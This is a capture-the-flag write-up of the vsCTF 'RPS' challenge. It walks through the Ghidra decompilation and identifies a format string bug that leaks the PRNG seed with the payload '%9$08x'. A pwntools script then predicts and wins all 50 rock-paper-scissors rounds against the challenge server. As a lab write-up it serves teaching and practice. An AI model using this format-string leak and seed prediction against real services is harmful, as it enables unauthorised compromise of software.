In this challenge, we are given a rock-paper-scissors binary and must win 50 times in a row to get the flag.

Disassembly and analysis

First, let’s analyze this game with ghidra. The main function consists at its core of the following :

fd = open("/dev/urandom",0);
if (fd < 0) {
  printf("Opening /dev/urandom failed");
  exit(1);
}
read(fd,&seed,4);
close(fd);
srand(seed);
printf("Enter your name: ");
fgets(name,0x14,stdin);
printf("Hi ");
printf(name);
puts("Let\'s play some Rock Paper Scissors!");
puts("If you beat me 50 times in a row I\'ll give you a special prize.");
for (i = 0; i < 0x32; i = i + 1) {
  res = rps();
  if (res != '\x01') {
    puts("You didn\'t beat me enough times. Too bad!");
    exit(1);
  }
}
win();

The vulnerability is immediatly identified as a format string. We could try to rewrite the return address of rps to redirect to win, but a quick checksec shows us its not going to be easy because this binary is position-independent :

Canary                        : ✓ 
NX                            : ✓ 
PIE                           : ✓ 
Fortify                       : ✘ 
RelRO                         : Full

Moreover, the buffer for name is only 20 bytes long so we need to find an efficient payload. Lets look at the rps function :

undefined8 rps(void)
{
  int r;
  undefined8 uVar1;
  long in_FS_OFFSET;
  char user_choice;
  char rand_choice;
  int local_18;
  undefined2 rp;
  undefined s;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  user_choice = '\0';
  rp = 0x7072;
  s = 0x73;
  r = rand();
  rand_choice = *(char *)((long)&rp + (long)(r % 3));
  puts("Let\'s play!");
  do {
    if (((user_choice == 'r') || (user_choice == 'p')) || (user_choice == 's')) {
      if ((((user_choice == 'r') && (rand_choice == 's')) ||
          ((user_choice == 'p' && (rand_choice == 'r')))) ||
         ((user_choice == 's' && (rand_choice == 'p')))) {
        puts("You win!");
        uVar1 = 1;
      }
      else {
        puts("You lost.");
        uVar1 = 0;
      }
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar1;
    }
    printf("Enter your choice (r/p/s): ");
    __isoc99_scanf(&DAT_0010203b,&user_choice);
    do {
      local_18 = getchar();
      if (local_18 == 10) break;
    } while (local_18 != -1);
  } while( true );
}

The interesting part is the random choice selection : basically, we could rewrite it

rps = "rps";
r = rand();
rand_choice = rps[r%3];

Pseudorandom number generators

In C, the rand function produces pseudo-random outputs from a chosen value called seed. The pseudorandom generator is initialized by calling the function srand at the beginning of function main, and the seed is chosen by reading /dev/urandom which produces pseudorandom numbers on linux devices. If we could somehow know the seed, we could then predict the entire rock-paper-scissors sequence. Let’s use the format string vulnerability for this !

Exploiting the format string bug

We find that the seed can be accessed as the 9th word on the stack when calling printf(name). We then automate the winning process using pwntools et voilà !

from ctypes import CDLL
from pwn import *

conn = remote('vsc.tf', 3094)

print(conn.recvuntil(b": "))
conn.sendline(b'%9$08x')
seed = int(str(conn.recvline()[3:-1])[2:-1], base=16)

print(conn.recvline())
print(conn.recvline())

libc = CDLL("libc.so.6")
libc.srand(seed)

choices = "rps"

for i in range(50):
    print(conn.recvline())
    print(conn.recvuntil(b': '))
    r = choices[libc.rand()%3]
    if r == 'r':
        conn.sendline(b'p')
    elif r == 'p':
        conn.sendline(b's')
    else:
        conn.sendline(b'r')
    print(conn.recvline())

print(conn.recv())

The result is

[micronoyau@pwnixos:~/Documents/vsctf/RPS]$ python res.py 
[+] Opening connection to vsc.tf on port 3094: Done
b'Enter your name: '
b"Let's play some Rock Paper Scissors!\n"
b"If you beat me 50 times in a row I'll give you a special prize.\n"
b"Let's play!\n"
b'Enter your choice (r/p/s): '
b'You win!\n'
b"Let's play!\n"
b'Enter your choice (r/p/s): '
b'You win!\n'
[...]
b"Let's play!\n"
b'Enter your choice (r/p/s): '
b'You win!\n'
b'vsctf{Wh4t_da_h3ck_br0_gu355_g0d_kn0ws_4ll_my_m0v3s_:(((}\n\n'
[*] Closed connection to vsc.tf port 3094

Got the flag :)